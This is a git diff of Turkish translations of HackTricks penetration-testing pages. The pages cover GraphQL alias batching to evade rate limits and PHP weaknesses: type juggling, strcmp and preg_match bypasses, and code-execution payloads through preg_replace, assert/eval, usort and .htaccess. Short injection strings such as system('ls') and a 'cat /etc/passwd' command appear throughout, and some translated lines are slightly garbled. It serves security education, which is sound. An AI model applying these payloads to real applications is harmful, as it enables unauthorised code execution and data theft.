Aliases'lerin asıl amacı sayısız API çağrısına gerek duymayı azaltmaktır, ancak aliases'lerin, GraphQL uç noktasında kaba kuvvet saldırıları gerçekleştirmek için kullanılabileceği istenmeyen bir kullanım durumu tespit edilmiştir. Bu, bazı uç noktaların, kaba kuvvet saldırılarını sınırlayarak **HTTP isteklerinin sayısını** kısıtlayan hız sınırlayıcılarla korunduğu gerçeğinden kaynaklanmaktadır. Bununla birlikte, bu hız sınırlayıcılar, her istekteki işlemlerin sayısını dikkate almayabilir. Aliases'ler, birden fazla sorgunun tek bir HTTP isteğinde dahil edilmesine izin verdiği için, bu tür hız sınırlama önlemlerini atlayabilir.
|
||||
Alias'lerin asıl amacı birçok API çağrısına gerek duymayı azaltmaktır, ancak alias'lerin yanlışlıkla kullanılabileceği bir durum tespit edilmiştir: alias'ler, GraphQL uç noktasında brute force saldırıları gerçekleştirmek için kullanılabilir. Bu, bazı uç noktaların brute force saldırılarını sınırlayarak **HTTP isteklerinin sayısını** kısıtlayan hız sınırlayıcılarla korunduğu için mümkündür. Bununla birlikte, bu hız sınırlayıcılar her istekteki işlemlerin sayısını hesaba katmayabilir. Alias'ler, birden fazla sorgunun tek bir HTTP isteğinde bir araya getirilmesine izin verdiği için bu tür hız sınırlama önlemlerini atlayabilir.
|
||||
|
||||
Aşağıdaki örnekte, aliased sorguların mağaza indirim kodlarının geçerliliğini doğrulamak için nasıl kullanılabileceğini gösterilmektedir. Bu yöntem, birçok indirim kodunun aynı anda doğrulanmasına izin vererek hız sınırlamayı atlayabilir.
|
||||
Aşağıdaki örnekte, alias'li sorguların mağaza indirim kodlarının geçerliliğini doğrulamak için nasıl kullanılabileceğini gösterilmektedir. Bu yöntem, birçok indirim kodunun aynı anda doğrulanmasına izin vererek hız sınırlamayı atlayabilir.
|
||||
```bash
|
||||
# Example of a request utilizing aliased queries to check for valid discount codes
|
||||
query isValidDiscount($code: Int) {
|
||||
|
@ -469,13 +469,14 @@ valid
|
|||
|
||||
### Güvenlik açığı tarayıcıları
|
||||
|
||||
* [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): GraphQL uç noktalarının yaygın yan yapılandırmalarını test edin
|
||||
* [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): Kullanılan graphql'i parmak izleyin
|
||||
* [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): GraphQL uç noktalarının yaygın yan yapılandırmalarını test eder
|
||||
* [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): Toplu GraphQL sorguları ve mutasyonları gerçekleştirmeye odaklanan GraphQL güvenlik denetimi betiği.
|
||||
* [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): Kullanılan graphql'i tanımlar
|
||||
* [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Şemaları yakalamak ve hassas verileri aramak, yetkilendirme testi yapmak, şemaları kaba kuvvet uygulamak ve belirli bir türe giden yolları bulmak için kullanılabilen bir araç seti.
|
||||
* [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Bağımsız olarak veya [Burp uzantısı](https://github.com/doyensec/inql) olarak kullanılabilir.
|
||||
* [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Saldırıları otomatize etmek için CLI istemcisi olarak da kullanılabilir
|
||||
* [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): Bir GraphQL şemasında belirli bir türe ulaşmanın farklı yollarını listeleyen bir araç.
|
||||
* [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Gelişmiş GraphQL testi için Burp uzantısı. _**Tarayıcı**_, InQL v5.0'ın çekirdeğidir, burada bir GraphQL uç noktasını veya yerel bir içgörü şema dosyasını analiz edebilirsiniz. Tüm olası sorguları ve mutasyonları otomatik olarak oluşturur ve analiziniz için yapılandırılmış bir görünüme yerleştirir. _**Saldırgan**_ bileşeni, kötü uygulanmış hız sınırlarını atlamak için kullanışlı olabilecek toplu GraphQL saldırıları çalıştırmanıza olanak tanır.
|
||||
* [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Gelişmiş GraphQL testi için Burp uzantısı. _**Tarayıcı**_, InQL v5.0'ın çekirdeğidir, burada bir GraphQL uç noktasını veya yerel bir içgörü şema dosyasını analiz edebilirsiniz. Tüm olası sorguları ve mutasyonları otomatik olarak oluşturur ve analiziniz için yapılandırılmış bir görünüme yerleştirir. _**Saldırgan**_ bileşeni, kötü uygulanmış hız sınırlarını atlamak için yararlı olabilecek toplu GraphQL saldırıları çalıştırmanıza olanak tanır.
|
||||
|
||||
### İstemciler
|
||||
|
||||
|
@ -486,7 +487,7 @@ valid
|
|||
|
||||
{% embed url="https://graphql-dashboard.herokuapp.com/" %}
|
||||
|
||||
* AutoGraphQL'i açıklayan video: [https://www.youtube.com/watch?v=JJmufWfVvyU](https://www.youtube.com/watch?v=JJmufWfVvyU)
|
||||
* AutoGraphQL'yi açıklayan video: [https://www.youtube.com/watch?v=JJmufWfVvyU](https://www.youtube.com/watch?v=JJmufWfVvyU)
|
||||
|
||||
## Referanslar
|
||||
|
||||
|
@ -506,8 +507,8 @@ HackTricks'ı desteklemenin diğer yolları:
|
|||
|
||||
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
|
||||
* **Hacking püf noktalarınızı paylaşarak HackTricks ve HackTricks Cloud github depolarına PR göndererek destekleyin.**
|
||||
* **Hacking püf noktalarınızı paylaşarak HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek **destekleyin**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,15 +2,15 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Family**]'yi(https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'i(https://opensea.io/collection/the-peass-family) içeren koleksiyonumuz
|
||||
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
|
||||
* **Hacking ipuçlarınızı göndererek PR'ler göndererek HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
|
||||
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
|
||||
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
|
||||
* **Hacking ipuçlarınızı paylaşın, PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -38,7 +38,7 @@ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
|
|||
|
||||
### Gevşek Karşılaştırmalar/Tür Dönüşümü ( == )
|
||||
|
||||
Eğer PHP'de `==` kullanılıyorsa, o zaman karşılaştırmanın beklenildiği gibi davranmadığı beklenmedik durumlar olabilir. Bu, "==" sadece aynı türe dönüştürülen değerleri karşılaştırır, eğer karşılaştırılan verinin türünün de aynı olduğunu karşılaştırmak istiyorsanız `===` kullanmanız gerekir.
|
||||
Eğer PHP'de `==` kullanılıyorsa, karşılaştırmanın beklenildiği gibi davranmadığı beklenmedik durumlar olabilir. Bu, "==" sadece aynı türe dönüştürülen değerleri karşılaştırır, eğer karşılaştırılan verinin türünün de aynı olduğunu karşılaştırmak istiyorsanız `===` kullanmanız gerekir.
|
||||
|
||||
PHP karşılaştırma tabloları: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)
|
||||
|
||||
|
@ -47,17 +47,17 @@ PHP karşılaştırma tabloları: [https://www.php.net/manual/en/types.compariso
|
|||
{% file src="../../../.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}
|
||||
|
||||
* `"string" == 0 -> True` Bir sayı ile başlamayan bir dize bir sayıya eşittir
|
||||
* `"0xAAAA" == "43690" -> True` Onluk veya onaltılık formatta sayılardan oluşan dizeler, aynı sayılar/dizelerle karşılaştırılabilir ve sonuç olarak True döner (bir dizideki sayılar sayı olarak yorumlanır)
|
||||
* `"0e3264578" == 0 --> True` "0e" ile başlayan ve herhangi bir şeyi takip eden bir dize sıfıra eşittir
|
||||
* `"0X3264578" == 0X --> True` "0" ile başlayan ve herhangi bir harfi takip eden (X herhangi bir harf olabilir) ve herhangi bir şeyi takip eden bir dize sıfıra eşittir
|
||||
* `"0e12334" == "0" --> True` Bu çok ilginç çünkü bazı durumlarda "0" ile başlayan ve karşılaştırılan veri türüne sahip bazı içeriklerin aynı olabileceği bir dize girişini kontrol edebilirsiniz. Bu nedenle, "0e" ile başlayan ve herhangi bir harf içermeyen bir karmayı oluşturacak bir değer sağlayabilirseniz, karşılaştırmayı atlayabilirsiniz. Bu formatta **zaten karmalanmış dizeleri** burada bulabilirsiniz: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
||||
* `"X" == 0 --> True` Bir dizideki herhangi bir harf sıfır ile eşittir
|
||||
* `"0xAAAA" == "43690" -> True` Onaltılık veya ondalık biçimdeki sayılardan oluşan dizeler, aynı sayıya/dizeye eşit olabilirler (dizedeki sayılar sayı olarak yorumlanır)
|
||||
* `"0e3264578" == 0 --> True` "0e" ile başlayan ve herhangi bir şeyi takip eden bir dize 0'a eşit olacaktır
|
||||
* `"0X3264578" == 0X --> True` "0" ile başlayan ve herhangi bir harfi takip eden (X herhangi bir harf olabilir) ve herhangi bir şeyi takip eden bir dize 0'a eşit olacaktır
|
||||
* `"0e12334" == "0" --> True` Bu çok ilginç çünkü bazı durumlarda "0" ile başlayan ve herhangi bir harf içermeyen bir dize girişini kontrol edebilir ve bu dizeyle karşılaştırılan ve karşılaştırılan içerik oluşturabilirsiniz. Bu nedenle, "0e" ile başlayan ve herhangi bir harf içermeyen bir karmayı oluşturacak bir değer sağlayabilirseniz, karşılaştırmayı atlayabilirsiniz. Bu formatta **zaten karmalanmış dizeleri** burada bulabilirsiniz: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
||||
* `"X" == 0 --> True` Bir dizideki herhangi bir harf, int 0'a eşittir
|
||||
|
||||
Daha fazla bilgi için [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
|
||||
|
||||
### **in\_array()**
|
||||
|
||||
**Tür Dönüşümü**, varsayılan olarak `in_array()` işlevini de etkiler (katı bir karşılaştırma yapmak için üçüncü argümanı true olarak ayarlamanız gerekir):
|
||||
**Tür Dönüşümü**, `in_array()` fonksiyonunu da varsayılan olarak etkiler (katı bir karşılaştırma yapmak için üçüncü argümanı true olarak ayarlamanız gerekir):
|
||||
```php
|
||||
$values = array("apple","orange","pear","grape");
|
||||
var_dump(in_array(0, $values));
|
||||
|
@ -67,28 +67,28 @@ var_dump(in_array(0, $values, true));
|
|||
```
|
||||
### strcmp()/strcasecmp()
|
||||
|
||||
Eğer bu fonksiyon **herhangi bir kimlik doğrulama kontrolü** için kullanılıyorsa (örneğin şifre kontrolü) ve kullanıcı karşılaştırmanın bir tarafını kontrol ediyorsa, şifre değeri olarak bir dizi yerine boş bir dizi gönderebilir (`https://ornek.com/giris.php/?kullaniciadi=admin&sifre[]=`) ve bu kontrolü atlayabilir:
|
||||
Bu fonksiyon **herhangi bir kimlik doğrulama kontrolü** için kullanılıyorsa (örneğin şifre kontrolü) ve kullanıcı karşılaştırmanın bir tarafını kontrol ediyorsa, şifre değeri olarak bir dizi yerine boş bir dizi gönderebilir (`https://ornek.com/giris.php/?kullaniciadi=admin&sifre[]=`) ve bu kontrolü atlayabilir:
|
||||
```php
|
||||
if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
|
||||
// Real Password
|
||||
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
|
||||
// Real Password
|
||||
```
|
||||
### Katı tür Jonglajı
|
||||
### Katı Tür Dönüşümü
|
||||
|
||||
`strcasecmp()` ile aynı hata meydana gelir
|
||||
`strcasecmp()` ile aynı hata meydana gelir.
|
||||
|
||||
`===` kullanılsa bile, karşılaştırmanın tür jonglajına karşı savunmasız olabileceği hatalar olabilir. Örneğin, karşılaştırma veriyi karşılaştırmadan önce farklı bir nesne türüne dönüştürüyorsa:
|
||||
Eğer `===` kullanılıyorsa bile, karşılaştırmanın **tür dönüşümüne karşı savunmasız** olabileceği hatalar olabilir. Örneğin, karşılaştırma **veriyi karşılaştırmadan önce farklı bir nesne türüne dönüştürüyorsa**:
|
||||
```php
|
||||
(int) "1abc" === (int) "1xyz" //This will be true
|
||||
```
|
||||
### preg\_match(/^.\*/)
|
||||
|
||||
**`preg_match()`** kullanıcı girişini **doğrulamak** için kullanılabilir (herhangi bir **kelime/regex**'in **kara listesinde** olup olmadığını kontrol eder ve değilse, kod işlemini sürdürebilir).
|
||||
**`preg_match()`** kullanıcı girişini **doğrulamak** için kullanılabilir (herhangi bir **kelime/regex**'in **kara listesinde** olup olmadığını **kontrol eder** ve eğer değilse, kod işlemini sürdürebilir).
|
||||
|
||||
#### Yeni satır atlatma
|
||||
|
||||
Ancak, regexp'in başlangıcını sınırlarken `preg_match()` **sadece kullanıcı girişinin ilk satırını kontrol eder**, sonra eğer bir şekilde girişi **birkaç satırda gönderebilirseniz**, bu kontrolü atlayabilirsiniz. Örnek:
|
||||
Ancak, regexp'in başlangıcını sınırlarken `preg_match()` **sadece kullanıcı girişinin ilk satırını kontrol eder**, sonra eğer bir şekilde girişi **birkaç satırda gönderebilirseniz**, bu kontrolü atlatmanız mümkün olabilir. Örnek:
|
||||
```php
|
||||
$myinput="aaaaaaa
|
||||
11111111"; //Notice the new line
|
||||
|
@ -107,12 +107,12 @@ Bu kontrolü atlamak için değeri **yeni satırlarla urlencoded** (`%0A`) gönd
|
|||
"cmd": "cat /etc/passwd"
|
||||
}
|
||||
```
|
||||
Örnek bir örnek bulun: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice)
|
||||
Örnek bulun: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice)
|
||||
|
||||
#### **Uzunluk hatası atlatma**
|
||||
|
||||
(Bu atlatma, görünüşe göre PHP 5.2.5'te denenmiş ve PHP 7.3.15'te çalışamadı)\
|
||||
Eğer `preg_match()`'e geçerli çok **büyük bir giriş** gönderebilirseniz, **işleyemez** ve kontrolü **atlayabilirsiniz**. Örneğin, JSON'u karalistelediğinde gönderebilirsiniz:
|
||||
(Bu atlatma, görünüşe göre PHP 5.2.5'te denenmiş ve PHP 7.3.15'te çalıştıramadım)\
|
||||
Eğer `preg_match()`'e geçerli çok **büyük bir giriş** gönderebilirseniz, **işleyemez** ve kontrolü **atlayabilirsiniz**. Örneğin, eğer bir JSON'u karalistelediyse gönderebilirsiniz:
|
||||
```bash
|
||||
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
|
||||
```
|
||||
|
@ -122,7 +122,7 @@ Hile kaynağı: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/
|
|||
|
||||
<figure><img src="../../../.gitbook/assets/image (26).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Kısacası, sorun, PHP'deki `preg_*` fonksiyonlarının [PCRE kütüphanesi](http://www.pcre.org/) üzerine kurulması nedeniyle oluşur. PCRE'de belirli düzenli ifadeler, çok sayıda özyineli çağrı kullanarak eşleştirilir, bu da çok miktarda yığın alanı kullanır. Özyineli çağrıların miktarına izin verilen bir sınır belirlenebilir, ancak PHP'de bu sınır [varsayılan olarak 100.000'dir](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) ve yığın alanına sığmaktan daha fazladır.
|
||||
Kısacası, sorun, PHP'deki `preg_*` fonksiyonlarının [PCRE kütüphanesi](http://www.pcre.org/) üzerine kurulması nedeniyle oluşur. PCRE'de belirli düzenli ifadeler, çok sayıda özyineli çağrı kullanılarak eşleştirilir, bu da çok miktarda yığın alanı kullanır. Özyineli çağrılara izin verilen miktar üzerinde bir sınır belirlemek mümkündür, ancak PHP'de bu sınır [varsayılan olarak 100.000'dir](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) ve yığın alanına sığmaktan daha fazladır.
|
||||
|
||||
Bu sorun hakkında daha detaylı konuşulan [bu Stackoverflow konusu](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) da gönderide paylaşıldı. Görevimiz şimdi açıktı:\
|
||||
**Regex'in 100.000'den fazla özyineli çağrı yapmasını sağlayan bir giriş göndermek, SIGSEGV'ye neden olarak `preg_match()` fonksiyonunu `false` döndürmesini sağlamak ve böylece uygulamanın girişimizin kötü niyetli olmadığını düşünmesini sağlamak, yüklem sonunda `{system(<çokkötükod>)}` gibi bir sürpriz atarak SSTI --> RCE --> bayrak :)**.
|
||||
|
@ -132,7 +132,7 @@ Buna ulaşmak için, `'X'*500_001` 1 milyon geri izleme adımına (500k ileri ve
|
|||
```python
|
||||
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
|
||||
```
|
||||
### PHP obfuscation için Tür Tipi Düşürme
|
||||
### PHP obfuscation için Türkçe Karakter Dizisi Dönüşümü
|
||||
```php
|
||||
$obfs = "1"; //string "1"
|
||||
$obfs++; //int 2
|
||||
|
@ -155,9 +155,9 @@ header('Location: /index.php?page=default.html');
|
|||
readfile($page);
|
||||
?>
|
||||
```
|
||||
## Yol Traversal ve Dosya Dahil Etme Sömürüsü
|
||||
## Yol Geçişi ve Dosya Dahil Etme Sömürüsü
|
||||
|
||||
Kontrol et:
|
||||
Kontrol edin:
|
||||
|
||||
{% content-ref url="../../../pentesting-web/file-inclusion/" %}
|
||||
[file-inclusion](../../../pentesting-web/file-inclusion/)
|
||||
|
@ -166,13 +166,13 @@ Kontrol et:
|
|||
## Daha fazla hile
|
||||
|
||||
* **register\_globals**: **PHP < 4.1.1.1** sürümlerinde veya yanlış yapılandırılmışsa, **register\_globals** etkin olabilir (veya davranışları taklit ediliyor olabilir). Bu, global değişkenlerde $\_GET gibi bir değer varsa örneğin $\_GET\["param"]="1234", bu değere **$param** üzerinden erişebilirsiniz. Bu nedenle, HTTP parametreleri göndererek kod içinde kullanılan değişkenleri **üzerine yazabilirsiniz**.
|
||||
* **Aynı alanın PHPSESSION çerezleri aynı yerde saklanır**, bu nedenle bir alan içinde **farklı yollarda farklı çerezler kullanılıyorsa** bir yolun, diğer yolun çerezine erişmesini sağlayabilirsiniz. Bu şekilde **her iki yol da aynı isimde bir değişkene erişirse**, bu değişkenin değerini yol1'den yol2'ye uygulayabilirsiniz. Ve sonra yol2, yol1'in değişkenlerini geçerli kabul eder (çerezin yol2'de karşılık geldiği ismi vererek).
|
||||
* Makinenin kullanıcı adlarını aldığınızda. **/\~\<KULLANICIADİ>** adresini kontrol edin ve php dizinlerinin etkin olup olmadığını görün.
|
||||
* **Aynı alanın PHPSESSION çerezleri aynı yerde saklanır**, bu nedenle bir alanda **farklı yollarla farklı çerezler kullanılıyorsa**, bir yolun **diğer yolun çerezine erişmesini sağlayabilirsiniz**. Bu şekilde, **her iki yol da aynı isimde bir değişkene erişirse**, bu değişkenin değerini yol1'den yol2'ye uygulayabilirsiniz. Ve ardından yol2, yol1'in değişkenlerini geçerli kabul eder (çerezin adını yol2'de karşılık gelen adı vererek).
|
||||
* Makinenin kullanıcı adlarını elde ettiğinizde. PHP dizinlerinin etkin olup olmadığını görmek için adresi kontrol edin: **/\~\<KULLANICIADı>**.
|
||||
* [**Php sargıları kullanarak LFI ve RCE**](../../../pentesting-web/file-inclusion/)
|
||||
|
||||
### password\_hash/password\_verify
|
||||
|
||||
Bu fonksiyonlar genellikle PHP'de **şifrelerden hash'ler oluşturmak** ve bir şifrenin bir hash ile karşılaştırıldığında doğru olup olmadığını **kontrol etmek** için kullanılır. Desteklenen algoritmalar: `PASSWORD_DEFAULT` ve `PASSWORD_BCRYPT` (başlangıcı `$2y$`). **PASSWORD\_DEFAULT'ın genellikle PASSWORD\_BCRYPT ile aynı olduğunu** unutmayın. Ve şu anda, **PASSWORD\_BCRYPT'ın 72 bayt giriş boyutunda bir sınırlaması** vardır. Bu nedenle, bu algoritmayla 72 bayttan büyük bir şeyi hashlemeye çalıştığınızda sadece ilk 72B kullanılacaktır:
|
||||
Bu fonksiyonlar genellikle PHP'de **şifrelerden karma değerler oluşturmak** ve bir şifrenin bir karma ile karşılaştırıldığında doğru olup olmadığını **kontrol etmek** için kullanılır. Desteklenen algoritmalar: `PASSWORD_DEFAULT` ve `PASSWORD_BCRYPT` (başlangıcı `$2y$`). **PASSWORD\_DEFAULT'ın genellikle PASSWORD\_BCRYPT ile aynı olduğunu** unutmayın. Ve şu anda, **PASSWORD\_BCRYPT'ın 72 bayt giriş boyutunda bir sınırlaması** vardır. Bu nedenle, bu algoritmayla 72 bayt'tan büyük bir şeyi karmaşıklaştırmaya çalıştığınızda, yalnızca ilk 72B kullanılacaktır:
|
||||
```php
|
||||
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
|
||||
False
|
||||
|
@ -180,13 +180,13 @@ False
|
|||
$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
|
||||
True
|
||||
```
|
||||
### HTTP başlıklarını atlayarak PHP hatalarını istismar etme
|
||||
### HTTP başlıklarını atlatarak PHP hatalarını istismar etme
|
||||
|
||||
#### Başlıklar ayarlandıktan sonra hata oluşturma
|
||||
|
||||
[**Bu twitter konuşmasından**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A\&s=19) görebileceğiniz gibi 1000'den fazla GET parametresi veya 1000 POST parametresi veya 20 dosya gönderildiğinde, PHP'nin yanıtta başlıkları ayarlamayacağı.
|
||||
|
||||
Örneğin, CSP başlıklarının ayarlandığı kodlarda atlamaya izin verme:
|
||||
Örneğin, CSP başlıklarının ayarlandığı kodlarda atlatmaya izin verme:
|
||||
```php
|
||||
<?php
|
||||
header("Content-Security-Policy: default-src 'none';");
|
||||
|
@ -194,25 +194,33 @@ if (isset($_GET["xss"])) echo $_GET["xss"];
|
|||
```
|
||||
#### Başlıklar ayarlanmadan önce bir gövde doldurma
|
||||
|
||||
Eğer bir **PHP sayfası hataları yazdırıyor ve kullanıcı tarafından sağlanan bazı girdileri ekrana yazdırıyorsa**, kullanıcı PHP sunucusunun geri **yazdırmasını sağlayabilir** böylece sunucu cevaba **başlıkları eklemeye çalıştığında hata verebilir**.\
|
||||
Aşağıdaki senaryoda **saldırgan sunucuyu büyük hatalar vermesini sağladı**, ve ekran görüntüsünde görebileceğiniz gibi PHP **başlık bilgilerini değiştirmeye çalıştığında** (örneğin CSP başlığı kullanıcıya gönderilmedi):
|
||||
Eğer bir **PHP sayfası hataları yazdırıyor ve kullanıcı tarafından sağlanan bazı girdileri ekrana yazdırıyorsa**, kullanıcı PHP sunucusunun geri bazı **yeterince uzun içerik** yazdırmasını sağlayabilir, böylece yanıtın içine **başlıkları eklemeye çalıştığında sunucu bir hata fırlatacaktır**.\
|
||||
Aşağıdaki senaryoda **saldırgan sunucunun büyük hatalar fırlatmasını sağladı**, ve ekran görüntüsünde görebileceğiniz gibi PHP **başlık bilgilerini değiştirmeye çalıştığında** (örneğin CSP başlığı kullanıcıya gönderilmedi):
|
||||
|
||||
![](<../../../.gitbook/assets/image (1085).png>)
|
||||
|
||||
## PHP fonksiyonlarında SSRF
|
||||
|
||||
Sayfayı kontrol et:
|
||||
|
||||
{% content-ref url="php-ssrf.md" %}
|
||||
[php-ssrf.md](php-ssrf.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Kod yürütme
|
||||
|
||||
**system("ls");**\
|
||||
**\`ls\`;**\
|
||||
**shell\_exec("ls");**
|
||||
|
||||
[Daha fazla faydalı PHP fonksiyonu için buraya bakın](php-useful-functions-disable\_functions-open\_basedir-bypass/)
|
||||
[Daha fazla faydalı PHP fonksiyonu için buraya bakın](php-useful-functions-disable\_functions-open\_basedir-bypass/)
|
||||
|
||||
### **preg\_replace()** aracılığıyla RCE
|
||||
```php
|
||||
preg_replace(pattern,replace,base)
|
||||
preg_replace("/a/e","phpinfo()","whatever")
|
||||
```
|
||||
"replace" argümanındaki kodu çalıştırmak için en az bir eşleşme gereklidir. Bu preg\_replace seçeneği **PHP 5.5.0'den itibaren kullanımdan kaldırılmıştır.**
|
||||
"replace" argümanındaki kodu yürütmek için en az bir eşleşme gereklidir. Bu preg\_replace seçeneği **PHP 5.5.0'dan itibaren kullanımdan kaldırılmıştır.**
|
||||
|
||||
### **Eval() Aracılığıyla Uzaktan Kod Çalıştırma (RCE)**
|
||||
```
|
||||
|
@ -229,7 +237,7 @@ Bu php içindeki fonksiyon, bir dize içinde yazılmış kodu **çalıştırman
|
|||
```
|
||||
?page=a','NeVeR') === false and system('ls') and strpos('a
|
||||
```
|
||||
### **RCE via usort()**
|
||||
### **usort() ile RCE**
|
||||
|
||||
Bu fonksiyon, belirli bir işlevi kullanarak öğelerin bir dizisini sıralamak için kullanılır.\
|
||||
Bu fonksiyonu kötüye kullanmak için:
|
||||
|
@ -252,40 +260,40 @@ function foo($x,$y){
|
|||
usort();}phpinfo;#, "cmp");
|
||||
}?>
|
||||
```
|
||||
### **Kapanış Parantezi Sayısını Keşfetme**
|
||||
**//** kullanarak kodun geri kalanını yorumlayabilirsiniz.
|
||||
|
||||
Kapatmanız gereken parantez sayısını keşfetmek için **//** kullanabilirsiniz:
|
||||
Kapatmanız gereken parantez sayısını keşfetmek için:
|
||||
|
||||
- `?order=id;}//`: Bir hata mesajı alırız (`Parse error: syntax error, unexpected ';'`). Muhtemelen bir veya daha fazla parantezi eksikiz.
|
||||
- `?order=id;}//`: Bir hata mesajı alırız (`Parse error: syntax error, unexpected ';'`). Muhtemelen bir veya daha fazla parantez eksik.
|
||||
- `?order=id);}//`: Bir **uyarı** alırız. Bu doğru gibi görünüyor.
|
||||
- `?order=id));}//`: Bir hata mesajı alırız (`Parse error: syntax error, unexpected ')' i`). Muhtemelen fazla kapanış parantezimiz var.
|
||||
|
||||
### **.httaccess Üzerinden RCE**
|
||||
### **.httaccess** Üzerinden Uzaktan Kod Çalıştırma (RCE)
|
||||
|
||||
Eğer bir **.htaccess** dosyası **yükleyebilirseniz**, birçok şeyi yapılandırabilir ve hatta kodu çalıştırabilirsiniz (bu dosyaların **çalıştırılabilir** olduğunu yapılandırabilirsiniz).
|
||||
Eğer bir **.htaccess** dosyası **yükleyebilirseniz**, o zaman birçok şeyi **yapılandırabilir** ve hatta kodu çalıştırabilirsiniz (bu dosyaların uzantısı .htaccess olan dosyaların **çalıştırılabilir** olabileceğini yapılandırabilirsiniz).
|
||||
|
||||
Farklı .htaccess kabuklarına [buradan](https://github.com/wireghoul/htshells) ulaşabilirsiniz.
|
||||
Farklı .htaccess kabukları [burada bulunabilir](https://github.com/wireghoul/htshells)
|
||||
|
||||
### **Env Değişkenleri Üzerinden RCE**
|
||||
### Çevre Değişkenleri Üzerinden Uzaktan Kod Çalıştırma (RCE)
|
||||
|
||||
Eğer **PHP'de env değişkenlerini değiştirmenize izin veren bir zayıflık bulursanız** (ve başka bir dosya yükleme zayıflığı da varsa, daha fazla araştırma ile bunun atlatılabileceği belki), bu davranışı **RCE** elde etmek için kötüye kullanabilirsiniz.
|
||||
